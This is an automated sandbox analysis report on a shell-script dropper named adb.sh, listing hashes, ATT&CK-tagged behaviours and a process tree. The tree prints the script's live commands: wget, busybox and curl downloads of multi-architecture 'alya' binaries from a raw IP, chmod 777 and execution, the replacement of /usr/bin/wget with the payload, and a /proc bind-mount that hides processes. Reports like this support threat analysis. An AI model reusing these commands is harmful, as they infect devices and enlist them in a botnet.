59681a58ec2f5fd767a2890d500805278f7fd2914ebd8c4d3c7013c4bb2f9fb9

Analysis

max time kernel
149s
max time network
150s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
29/09/2026, 18:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
adb.sh
Size 1KB
Sample260929-w641esda68
SHA256 59681a58ec2f5fd767a2890d500805278f7fd2914ebd8c4d3c7013c4bb2f9fb9
MD5 2c4c45344faf403b4d69b5e71147d976
SHA1 2414d19a137513c3beda81cbbb14f1b94ae82dec
SHA512 d6356d2e4b69ed3f2a4757eeb22ce25f8e201131a47158a143638f0662c2b663a0cfbd7ee444c7bb27d4aa22638d87a5142ad4a5e56959b72e8fe0039f6efc4a
TLSH
T18B21BB5898331826F3C5A878B14B20806971C27B3921AFECBECD54E5EF0890E73D468E
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery persistence

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 45 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
763	chmod
866	chmod
1031	chmod
1069	chmod
1111	chmod
1116	chmod
1122	chmod
898	chmod
904	chmod
967	chmod
982	chmod
1048	chmod
1092	chmod
892	chmod
1058	chmod
838	chmod
977	chmod
1004	chmod
1037	chmod
1053	chmod
1080	chmod
884	chmod
789	chmod
947	chmod
1026	chmod
843	chmod
992	chmod
998	chmod
1105	chmod
825	chmod
833	chmod
854	chmod
860	chmod
872	chmod
1020	chmod
1043	chmod
1075	chmod
848	chmod
972	chmod
987	chmod
1014	chmod
1063	chmod
1086	chmod
1099	chmod
878	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/alya.arc	765	adb.sh
/tmp/alya.arc	790	adb.sh
/tmp/alya.arc	826	adb.sh
/usr/bin/wget	971	adb.sh
/usr/bin/wget	986	adb.sh
/usr/bin/wget	1003	adb.sh
/usr/bin/wget	1025	adb.sh
/usr/bin/wget	1042	adb.sh
/usr/bin/wget	1057	adb.sh
/usr/bin/wget	1074	adb.sh
/usr/bin/wget	1091	adb.sh
/usr/bin/wget	1110	adb.sh

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	alya.armv4l
File opened for modification	/dev/misc/watchdog	alya.armv4l

Enumerates running processes
Discovers information about currently running processes on the system

Write file to user bin folder 2 IoCs

persistence

description	ioc	Process
File opened for modification	/usr/bin/wget.p	sh
File opened for modification	/usr/bin/wget	cp

Changes its process name 3 IoCs

description	pid	Process
Changes the process name, possibly in an attempt to hide itself	914	alya.armv4l
Changes the process name, possibly in an attempt to hide itself	932	alya.armv4l
Changes the process name, possibly in an attempt to hide itself	952	alya.armv4l

Checks CPU configuration 1 TTPs 15 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1/status	cp
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/1062/cmdline	alya.armv4l
File opened for reading	/proc/1104/cmdline	alya.armv4l
File opened for reading	/proc/1121/cmdline	alya.armv4l
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/134/cmdline	alya.armv4l
File opened for reading	/proc/639/cmdline	alya.armv4l
File opened for reading	/proc/1127/cmdline	alya.armv4l
File opened for reading	/proc/1131/cmdline	alya.armv4l
File opened for reading	/proc/1/status	cp
File opened for reading	/proc/6/cmdline	alya.armv4l
File opened for reading	/proc/17/cmdline	alya.armv4l
File opened for reading	/proc/224/cmdline	alya.armv4l
File opened for reading	/proc/filesystems	mount
File opened for reading	/proc/1/stat	cp
File opened for reading	/proc/5/cmdline	alya.armv4l
File opened for reading	/proc/18/cmdline	alya.armv4l
File opened for reading	/proc/20/cmdline	alya.armv4l
File opened for reading	/proc/23/cmdline	alya.armv4l
File opened for reading	/proc/24/cmdline	alya.armv4l
File opened for reading	/proc/1129/cmdline	alya.armv4l
File opened for reading	/proc/4/cmdline	alya.armv4l
File opened for reading	/proc/74/cmdline	alya.armv4l
File opened for reading	/proc/1036/cmdline	alya.armv4l
File opened for reading	/proc/1141/cmdline	alya.armv4l
File opened for reading	/proc/28/cmdline	alya.armv4l
File opened for reading	/proc/96/cmdline	alya.armv4l
File opened for reading	/proc/277/cmdline	alya.armv4l
File opened for reading	/proc/1126/cmdline	alya.armv4l
File opened for reading	/proc/filesystems	mount
File opened for reading	/proc/288/cmdline	alya.armv4l
File opened for reading	/proc/1/stat	cp
File opened for reading	/proc/1047/cmdline	alya.armv4l
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/1/cmdline	alya.armv4l
File opened for reading	/proc/12/cmdline	alya.armv4l
File opened for reading	/proc/22/cmdline	alya.armv4l
File opened for reading	/proc/583/cmdline	alya.armv4l
File opened for reading	/proc/1011/cmdline	alya.armv4l
File opened for reading	/proc/1/statm	cp
File opened for reading	/proc/1/statm	cp
File opened for reading	/proc/11/cmdline	alya.armv4l
File opened for reading	/proc/326/cmdline	alya.armv4l
File opened for reading	/proc/631/cmdline	alya.armv4l
File opened for reading	/proc/1008/cmdline	alya.armv4l
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/16/cmdline	alya.armv4l
File opened for reading	/proc/319/cmdline	alya.armv4l
File opened for reading	/proc/1/cmdline	cp
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/26/cmdline	alya.armv4l
File opened for reading	/proc/41/cmdline	alya.armv4l
File opened for reading	/proc/641/cmdline	alya.armv4l
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/576/cmdline	alya.armv4l
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/976/cmdline	alya.armv4l

System Network Configuration Discovery 1 TTPs 24 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
870	rm
875	rm
877	curl
1003	wget
1008	busybox
1017	rm
1019	curl
1021	alya.mipsel
865	wget
873	alya.mips
879	alya.mips
881	rm
1007	rm
1018	rm
869	rm
876	rm
1005	alya.mipsel
1023	rm
864	rm
867	alya.mips
871	busybox
1002	rm
1006	rm
1015	alya.mipsel

Writes file to tmp directory 48 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/alya.arc	wget
File opened for modification	/tmp/alya.armv6l	curl
File opened for modification	/tmp/alya.i586	curl
File opened for modification	/tmp/statm	cp
File opened for modification	/tmp/alya.armv7l	curl
File opened for modification	/tmp/alya.i486	curl
File opened for modification	/tmp/alya.powerpc	busybox
File opened for modification	/tmp/alya.armv6l	busybox
File opened for modification	/tmp/alya.i586	wget
File opened for modification	/tmp/alya.sh4	wget
File opened for modification	/tmp/alya.sh4	curl
File opened for modification	/tmp/status	cp
File opened for modification	/tmp/status	cp
File opened for modification	/tmp/alya.armv4l	curl
File opened for modification	/tmp/alya.m68k	curl
File opened for modification	/tmp/alya.sh4	busybox
File opened for modification	/tmp/cmdline	cp
File opened for modification	/tmp/statm	cp
File opened for modification	/tmp/alya.i686	curl
File opened for modification	/tmp/alya.i486	busybox
File opened for modification	/tmp/alya.x86_64	busybox
File opened for modification	/tmp/alya.arc	busybox
File opened for modification	/tmp/alya.mips	wget
File opened for modification	/tmp/alya.mips	busybox
File opened for modification	/tmp/alya.armv4l	wget
File opened for modification	/tmp/alya.armv7l	busybox
File opened for modification	/tmp/alya.mipsel	curl
File opened for modification	/tmp/alya.sparc	busybox
File opened for modification	/tmp/alya.sparc	curl
File opened for modification	/tmp/alya.arc	curl
File opened for modification	/tmp/alya.armv6l	wget
File opened for modification	/tmp/alya.i586	busybox
File opened for modification	/tmp/cmdline	cp
File opened for modification	/tmp/alya.mipsel	busybox
File opened for modification	/tmp/alya.armv5l	curl
File opened for modification	/tmp/alya.x86_64	curl
File opened for modification	/tmp/statm	cp
File opened for modification	/tmp/stat	cp
File opened for modification	/tmp/alya.i686	busybox
File opened for modification	/tmp/alya.powerpc	curl
File opened for modification	/tmp/alya.mips	curl
File opened for modification	/tmp/stat	cp
File opened for modification	/tmp/status	cp
File opened for modification	/tmp/stat	cp
File opened for modification	/tmp/cmdline	cp
File opened for modification	/tmp/alya.armv4l	busybox
File opened for modification	/tmp/alya.armv5l	busybox
File opened for modification	/tmp/alya.m68k	busybox

/tmp/adb.sh
/tmp/adb.sh
1⤵
- Executes dropped EXE
PID:641
- /bin/readlink
  readlink /proc/1/exe
  2⤵
  PID:649
- /bin/readlink
  readlink /proc/10/exe
  2⤵
  PID:653
- /bin/readlink
  readlink /proc/104/exe
  2⤵
  PID:655
- /bin/readlink
  readlink /proc/106/exe
  2⤵
  PID:659
- /bin/readlink
  readlink /proc/107/exe
  2⤵
  PID:664
- /bin/readlink
  readlink /proc/11/exe
  2⤵
  PID:666
- /bin/readlink
  readlink /proc/12/exe
  2⤵
  PID:667
- /bin/readlink
  readlink /proc/13/exe
  2⤵
  PID:668
- /bin/readlink
  readlink /proc/133/exe
  2⤵
  PID:670
- /bin/readlink
  readlink /proc/134/exe
  2⤵
  PID:672
- /bin/readlink
  readlink /proc/138/exe
  2⤵
  PID:673
- /bin/readlink
  readlink /proc/14/exe
  2⤵
  PID:674
- /bin/readlink
  readlink /proc/15/exe
  2⤵
  PID:676
- /bin/readlink
  readlink /proc/151/exe
  2⤵
  PID:679
- /bin/readlink
  readlink /proc/158/exe
  2⤵
  PID:680
- /bin/readlink
  readlink /proc/16/exe
  2⤵
  PID:681
- /bin/readlink
  readlink /proc/168/exe
  2⤵
  PID:683
- /bin/readlink
  readlink /proc/17/exe
  2⤵
  PID:684
- /bin/readlink
  readlink /proc/18/exe
  2⤵
  PID:685
- /bin/readlink
  readlink /proc/19/exe
  2⤵
  PID:686
- /bin/readlink
  readlink /proc/2/exe
  2⤵
  PID:687
- /bin/readlink
  readlink /proc/20/exe
  2⤵
  PID:688
- /bin/readlink
  readlink /proc/21/exe
  2⤵
  PID:689
- /bin/readlink
  readlink /proc/22/exe
  2⤵
  PID:690
- /bin/readlink
  readlink /proc/224/exe
  2⤵
  PID:691
- /bin/readlink
  readlink /proc/23/exe
  2⤵
  PID:693
- /bin/readlink
  readlink /proc/24/exe
  2⤵
  PID:694
- /bin/readlink
  readlink /proc/25/exe
  2⤵
  PID:695
- /bin/readlink
  readlink /proc/26/exe
  2⤵
  PID:696
- /bin/readlink
  readlink /proc/27/exe
  2⤵
  PID:697
- /bin/readlink
  readlink /proc/277/exe
  2⤵
  PID:698
- /bin/readlink
  readlink /proc/28/exe
  2⤵
  PID:699
- /bin/readlink
  readlink /proc/288/exe
  2⤵
  PID:700
- /bin/readlink
  readlink /proc/29/exe
  2⤵
  PID:701
- /bin/readlink
  readlink /proc/290/exe
  2⤵
  PID:702
- /bin/readlink
  readlink /proc/295/exe
  2⤵
  PID:703
- /bin/readlink
  readlink /proc/296/exe
  2⤵
  PID:704
- /bin/readlink
  readlink /proc/3/exe
  2⤵
  PID:705
- /bin/readlink
  readlink /proc/300/exe
  2⤵
  PID:706
- /bin/readlink
  readlink /proc/317/exe
  2⤵
  PID:707
- /bin/readlink
  readlink /proc/319/exe
  2⤵
  PID:708
- /bin/readlink
  readlink /proc/326/exe
  2⤵
  PID:709
- /bin/readlink
  readlink /proc/4/exe
  2⤵
  PID:710
- /bin/readlink
  readlink /proc/41/exe
  2⤵
  PID:711
- /bin/readlink
  readlink /proc/42/exe
  2⤵
  PID:712
- /bin/readlink
  readlink /proc/43/exe
  2⤵
  PID:713
- /bin/readlink
  readlink /proc/5/exe
  2⤵
  PID:714
- /bin/readlink
  readlink /proc/564/exe
  2⤵
  PID:715
- /bin/readlink
  readlink /proc/576/exe
  2⤵
  PID:716
- /bin/readlink
  readlink /proc/578/exe
  2⤵
  PID:717
- /bin/readlink
  readlink /proc/583/exe
  2⤵
  PID:718
- /bin/readlink
  readlink /proc/584/exe
  2⤵
  PID:719
- /bin/readlink
  readlink /proc/6/exe
  2⤵
  PID:720
- /bin/readlink
  readlink /proc/627/exe
  2⤵
  PID:721
- /bin/readlink
  readlink /proc/631/exe
  2⤵
  PID:722
- /bin/readlink
  readlink /proc/634/exe
  2⤵
  PID:723
- /bin/readlink
  readlink /proc/638/exe
  2⤵
  PID:724
- /bin/readlink
  readlink /proc/639/exe
  2⤵
  PID:725
- /bin/readlink
  readlink /proc/640/exe
  2⤵
  PID:726
- /bin/readlink
  readlink /proc/641/exe
  2⤵
  PID:727
- /bin/readlink
  readlink /proc/644/exe
  2⤵
  PID:728
- /bin/readlink
  readlink /proc/647/exe
  2⤵
  PID:729
- /bin/readlink
  readlink /proc/648/exe
  2⤵
  PID:730
- /bin/readlink
  readlink /proc/7/exe
  2⤵
  PID:731
- /bin/readlink
  readlink /proc/74/exe
  2⤵
  PID:732
- /bin/readlink
  readlink /proc/8/exe
  2⤵
  PID:733
- /bin/readlink
  readlink /proc/9/exe
  2⤵
  PID:734
- /bin/readlink
  readlink /proc/96/exe
  2⤵
  PID:735
- /bin/rm
  rm -rf alya.arc
  2⤵
  PID:736
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.arc
  2⤵
  - Writes file to tmp directory
  PID:737
- /bin/chmod
  chmod 777 alya.arc
  2⤵
  - File and Directory Permissions Modification
  PID:763
- /tmp/alya.arc
  ./alya.arc android.alya.arc
  2⤵
  PID:765
- /bin/rm
  rm -rf alya.arc
  2⤵
  PID:767
- /bin/rm
  rm -rf alya.arc
  2⤵
  PID:769
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.arc
  2⤵
  - Writes file to tmp directory
  PID:771
- /bin/chmod
  chmod 777 alya.arc
  2⤵
  - File and Directory Permissions Modification
  PID:789
- /tmp/alya.arc
  ./alya.arc android.alya.arc
  2⤵
  PID:790
- /bin/rm
  rm -rf alya.arc
  2⤵
  PID:792
- /bin/rm
  rm -rf alya.arc
  2⤵
  PID:793
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.arc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:795
- /bin/chmod
  chmod 777 alya.arc
  2⤵
  - File and Directory Permissions Modification
  PID:825
- /tmp/alya.arc
  ./alya.arc android.alya.arc
  2⤵
  PID:826
- /bin/rm
  rm -rf alya.arc
  2⤵
  PID:828
- /bin/rm
  rm -rf alya.armv6l
  2⤵
  PID:829
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.armv6l
  2⤵
  - Writes file to tmp directory
  PID:830
- /bin/chmod
  chmod 777 alya.armv6l
  2⤵
  - File and Directory Permissions Modification
  PID:833
- /tmp/alya.armv6l
  ./alya.armv6l android.alya.armv6l
  2⤵
  PID:834
- /bin/rm
  rm -rf alya.armv6l
  2⤵
  PID:835
- /bin/rm
  rm -rf alya.armv6l
  2⤵
  PID:836
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.armv6l
  2⤵
  - Writes file to tmp directory
  PID:837
- /bin/chmod
  chmod 777 alya.armv6l
  2⤵
  - File and Directory Permissions Modification
  PID:838
- /tmp/alya.armv6l
  ./alya.armv6l android.alya.armv6l
  2⤵
  PID:839
- /bin/rm
  rm -rf alya.armv6l
  2⤵
  PID:840
- /bin/rm
  rm -rf alya.armv6l
  2⤵
  PID:841
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.armv6l
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:842
- /bin/chmod
  chmod 777 alya.armv6l
  2⤵
  - File and Directory Permissions Modification
  PID:843
- /tmp/alya.armv6l
  ./alya.armv6l android.alya.armv6l
  2⤵
  PID:844
- /bin/rm
  rm -rf alya.armv6l
  2⤵
  PID:845
- /bin/rm
  rm -rf alya.i586
  2⤵
  PID:846
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.i586
  2⤵
  - Writes file to tmp directory
  PID:847
- /bin/chmod
  chmod 777 alya.i586
  2⤵
  - File and Directory Permissions Modification
  PID:848
- /tmp/alya.i586
  ./alya.i586 android.alya.i586
  2⤵
  PID:849
- /bin/rm
  rm -rf alya.i586
  2⤵
  PID:851
- /bin/rm
  rm -rf alya.i586
  2⤵
  PID:852
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.i586
  2⤵
  - Writes file to tmp directory
  PID:853
- /bin/chmod
  chmod 777 alya.i586
  2⤵
  - File and Directory Permissions Modification
  PID:854
- /tmp/alya.i586
  ./alya.i586 android.alya.i586
  2⤵
  PID:855
- /bin/rm
  rm -rf alya.i586
  2⤵
  PID:857
- /bin/rm
  rm -rf alya.i586
  2⤵
  PID:858
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.i586
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:859
- /bin/chmod
  chmod 777 alya.i586
  2⤵
  - File and Directory Permissions Modification
  PID:860
- /tmp/alya.i586
  ./alya.i586 android.alya.i586
  2⤵
  PID:861
- /bin/rm
  rm -rf alya.i586
  2⤵
  PID:863
- /bin/rm
  rm -rf alya.mips
  2⤵
  - System Network Configuration Discovery
  PID:864
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:865
- /bin/chmod
  chmod 777 alya.mips
  2⤵
  - File and Directory Permissions Modification
  PID:866
- /tmp/alya.mips
  ./alya.mips android.alya.mips
  2⤵
  - System Network Configuration Discovery
  PID:867
- /bin/rm
  rm -rf alya.mips
  2⤵
  - System Network Configuration Discovery
  PID:869
- /bin/rm
  rm -rf alya.mips
  2⤵
  - System Network Configuration Discovery
  PID:870
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:871
- /bin/chmod
  chmod 777 alya.mips
  2⤵
  - File and Directory Permissions Modification
  PID:872
- /tmp/alya.mips
  ./alya.mips android.alya.mips
  2⤵
  - System Network Configuration Discovery
  PID:873
- /bin/rm
  rm -rf alya.mips
  2⤵
  - System Network Configuration Discovery
  PID:875
- /bin/rm
  rm -rf alya.mips
  2⤵
  - System Network Configuration Discovery
  PID:876
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.mips
  2⤵
  - Checks CPU configuration
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:877
- /bin/chmod
  chmod 777 alya.mips
  2⤵
  - File and Directory Permissions Modification
  PID:878
- /tmp/alya.mips
  ./alya.mips android.alya.mips
  2⤵
  - System Network Configuration Discovery
  PID:879
- /bin/rm
  rm -rf alya.mips
  2⤵
  - System Network Configuration Discovery
  PID:881
- /bin/rm
  rm -rf alya.sh4
  2⤵
  PID:882
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.sh4
  2⤵
  - Writes file to tmp directory
  PID:883
- /bin/chmod
  chmod 777 alya.sh4
  2⤵
  - File and Directory Permissions Modification
  PID:884
- /tmp/alya.sh4
  ./alya.sh4 android.alya.sh4
  2⤵
  PID:885
- /bin/rm
  rm -rf alya.sh4
  2⤵
  PID:887
- /bin/rm
  rm -rf alya.sh4
  2⤵
  PID:888
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.sh4
  2⤵
  - Writes file to tmp directory
  PID:889
- /bin/chmod
  chmod 777 alya.sh4
  2⤵
  - File and Directory Permissions Modification
  PID:892
- /tmp/alya.sh4
  ./alya.sh4 android.alya.sh4
  2⤵
  PID:893
- /bin/rm
  rm -rf alya.sh4
  2⤵
  PID:895
- /bin/rm
  rm -rf alya.sh4
  2⤵
  PID:896
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.sh4
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:897
- /bin/chmod
  chmod 777 alya.sh4
  2⤵
  - File and Directory Permissions Modification
  PID:898
- /tmp/alya.sh4
  ./alya.sh4 android.alya.sh4
  2⤵
  PID:899
- /bin/rm
  rm -rf alya.sh4
  2⤵
  PID:901
- /bin/rm
  rm -rf alya.armv4l
  2⤵
  PID:902
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.armv4l
  2⤵
  - Writes file to tmp directory
  PID:903
- /bin/chmod
  chmod 777 alya.armv4l
  2⤵
  - File and Directory Permissions Modification
  PID:904
- /tmp/alya.armv4l
  ./alya.armv4l android.alya.armv4l
  2⤵
  - Modifies Watchdog functionality
  - Changes its process name
  - Reads runtime system information
  PID:905
- - /bin/sh
    sh -c "rm -rf /usr/bin/wget.r;mv /usr/bin/wget /usr/bin/wget.r"
    3⤵
    PID:906
  - - /bin/rm
      rm -rf /usr/bin/wget.r
      4⤵
      PID:907
  - - /bin/mv
      mv /usr/bin/wget /usr/bin/wget.r
      4⤵
      PID:908
- - /bin/sh
    sh -c "rm -rf /usr/bin/wget.p;echo \"/usr/bin/wget.r\" > /usr/bin/wget.p"
    3⤵
    - Write file to user bin folder
    PID:909
  - - /bin/rm
      rm -rf /usr/bin/wget.p
      4⤵
      PID:910
- - /bin/sh
    sh -c "rm -rf /usr/bin/wget;cp /tmp/alya.armv4l /usr/bin/wget"
    3⤵
    PID:911
  - - /bin/rm
      rm -rf /usr/bin/wget
      4⤵
      PID:912
  - - /bin/cp
      cp /tmp/alya.armv4l /usr/bin/wget
      4⤵
      Write file to user bin folder
      PID:913
- - /bin/sh
    sh -c "rm -rf /tmp/stat;cp /proc/1/stat /tmp/stat"
    3⤵
    PID:916
  - - /bin/rm
      rm -rf /tmp/stat
      4⤵
      PID:917
  - - /bin/cp
      cp /proc/1/stat /tmp/stat
      4⤵
      Reads runtime system information
      Writes file to tmp directory
      PID:919
- - /bin/sh
    sh -c "rm -rf /tmp/status;cp /proc/1/status /tmp/status"
    3⤵
    PID:921
  - - /bin/rm
      rm -rf /tmp/status
      4⤵
      PID:922
  - - /bin/cp
      cp /proc/1/status /tmp/status
      4⤵
      Reads runtime system information
      Writes file to tmp directory
      PID:923
- - /bin/sh
    sh -c "rm -rf /tmp/cmdline;cp /proc/1/cmdline /tmp/cmdline"
    3⤵
    PID:924
  - - /bin/rm
      rm -rf /tmp/cmdline
      4⤵
      PID:925
  - - /bin/cp
      cp /proc/1/cmdline /tmp/cmdline
      4⤵
      Reads runtime system information
      Writes file to tmp directory
      PID:926
- - /bin/sh
    sh -c "rm -rf /tmp/statm;cp /proc/1/statm /tmp/statm"
    3⤵
    PID:927
  - - /bin/rm
      rm -rf /tmp/statm
      4⤵
      PID:928
  - - /bin/cp
      cp /proc/1/statm /tmp/statm
      4⤵
      Reads runtime system information
      Writes file to tmp directory
      PID:929
- - /bin/sh
    sh -c "mount --bind /tmp /proc/914"
    3⤵
    PID:930
  - - /bin/mount
      mount --bind /tmp /proc/914
      4⤵
      PID:931
- - /bin/sh
    sh -c "rm -rf /tmp/stat;cp /proc/1/stat /tmp/stat"
    3⤵
    PID:933
  - - /bin/rm
      rm -rf /tmp/stat
      4⤵
      PID:934
  - - /bin/cp
      cp /proc/1/stat /tmp/stat
      4⤵
      Reads runtime system information
      Writes file to tmp directory
      PID:935
- - /bin/sh
    sh -c "rm -rf /tmp/status;cp /proc/1/status /tmp/status"
    3⤵
    PID:936
  - - /bin/rm
      rm -rf /tmp/status
      4⤵
      PID:937
  - - /bin/cp
      cp /proc/1/status /tmp/status
      4⤵
      Reads runtime system information
      Writes file to tmp directory
      PID:938
- - /bin/sh
    sh -c "rm -rf /tmp/cmdline;cp /proc/1/cmdline /tmp/cmdline"
    3⤵
    PID:939
  - - /bin/rm
      rm -rf /tmp/cmdline
      4⤵
      PID:940
  - - /bin/cp
      cp /proc/1/cmdline /tmp/cmdline
      4⤵
      Writes file to tmp directory
      PID:941
- - /bin/sh
    sh -c "rm -rf /tmp/statm;cp /proc/1/statm /tmp/statm"
    3⤵
    PID:942
  - - /bin/rm
      rm -rf /tmp/statm
      4⤵
      PID:943
  - - /bin/cp
      cp /proc/1/statm /tmp/statm
      4⤵
      Reads runtime system information
      Writes file to tmp directory
      PID:944
- - /bin/sh
    sh -c "mount --bind /tmp /proc/932"
    3⤵
    PID:945
  - - /bin/mount
      mount --bind /tmp /proc/932
      4⤵
      Reads runtime system information
      PID:946
- - /bin/sh
    sh -c "rm -rf /tmp/stat;cp /proc/1/stat /tmp/stat"
    3⤵
    PID:953
  - - /bin/rm
      rm -rf /tmp/stat
      4⤵
      PID:954
  - - /bin/cp
      cp /proc/1/stat /tmp/stat
      4⤵
      Reads runtime system information
      Writes file to tmp directory
      PID:955
- - /bin/sh
    sh -c "rm -rf /tmp/status;cp /proc/1/status /tmp/status"
    3⤵
    PID:956
  - - /bin/rm
      rm -rf /tmp/status
      4⤵
      PID:957
  - - /bin/cp
      cp /proc/1/status /tmp/status
      4⤵
      Reads runtime system information
      Writes file to tmp directory
      PID:958
- - /bin/sh
    sh -c "rm -rf /tmp/cmdline;cp /proc/1/cmdline /tmp/cmdline"
    3⤵
    PID:959
  - - /bin/rm
      rm -rf /tmp/cmdline
      4⤵
      PID:960
  - - /bin/cp
      cp /proc/1/cmdline /tmp/cmdline
      4⤵
      Reads runtime system information
      Writes file to tmp directory
      PID:961
- - /bin/sh
    sh -c "rm -rf /tmp/statm;cp /proc/1/statm /tmp/statm"
    3⤵
    PID:962
  - - /bin/rm
      rm -rf /tmp/statm
      4⤵
      PID:963
  - - /bin/cp
      cp /proc/1/statm /tmp/statm
      4⤵
      Writes file to tmp directory
      PID:964
- - /bin/sh
    sh -c "mount --bind /tmp /proc/952"
    3⤵
    PID:965
  - - /bin/mount
      mount --bind /tmp /proc/952
      4⤵
      Reads runtime system information
      PID:966
- /bin/rm
  rm -rf alya.armv4l
  2⤵
  PID:915
- /bin/rm
  rm -rf alya.armv4l
  2⤵
  PID:918
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.armv4l
  2⤵
  - Writes file to tmp directory
  PID:920
- /bin/chmod
  chmod 777 alya.armv4l
  2⤵
  - File and Directory Permissions Modification
  PID:947
- /tmp/alya.armv4l
  ./alya.armv4l android.alya.armv4l
  2⤵
  PID:948
- /bin/rm
  rm -rf alya.armv4l
  2⤵
  PID:949
- /bin/rm
  rm -rf alya.armv4l
  2⤵
  PID:950
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.armv4l
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:951
- /bin/chmod
  chmod 777 alya.armv4l
  2⤵
  - File and Directory Permissions Modification
  PID:967
- /tmp/alya.armv4l
  ./alya.armv4l android.alya.armv4l
  2⤵
  PID:968
- /bin/rm
  rm -rf alya.armv4l
  2⤵
  PID:969
- /bin/rm
  rm -rf alya.armv7l
  2⤵
  PID:970
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.armv7l
  2⤵
  PID:971
- /bin/chmod
  chmod 777 alya.armv7l
  2⤵
  - File and Directory Permissions Modification
  PID:972
- /tmp/alya.armv7l
  ./alya.armv7l android.alya.armv7l
  2⤵
  PID:973
- /bin/rm
  rm -rf alya.armv7l
  2⤵
  PID:974
- /bin/rm
  rm -rf alya.armv7l
  2⤵
  PID:975
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.armv7l
  2⤵
  - Writes file to tmp directory
  PID:976
- /bin/chmod
  chmod 777 alya.armv7l
  2⤵
  - File and Directory Permissions Modification
  PID:977
- /tmp/alya.armv7l
  ./alya.armv7l android.alya.armv7l
  2⤵
  PID:978
- /bin/rm
  rm -rf alya.armv7l
  2⤵
  PID:979
- /bin/rm
  rm -rf alya.armv7l
  2⤵
  PID:980
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.armv7l
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:981
- /bin/chmod
  chmod 777 alya.armv7l
  2⤵
  - File and Directory Permissions Modification
  PID:982
- /tmp/alya.armv7l
  ./alya.armv7l android.alya.armv7l
  2⤵
  PID:983
- /bin/rm
  rm -rf alya.armv7l
  2⤵
  PID:984
- /bin/rm
  rm -rf alya.i686
  2⤵
  PID:985
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.i686
  2⤵
  PID:986
- /bin/chmod
  chmod 777 alya.i686
  2⤵
  - File and Directory Permissions Modification
  PID:987
- /tmp/alya.i686
  ./alya.i686 android.alya.i686
  2⤵
  PID:988
- /bin/rm
  rm -rf alya.i686
  2⤵
  PID:989
- /bin/rm
  rm -rf alya.i686
  2⤵
  PID:990
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.i686
  2⤵
  - Writes file to tmp directory
  PID:991
- /bin/chmod
  chmod 777 alya.i686
  2⤵
  - File and Directory Permissions Modification
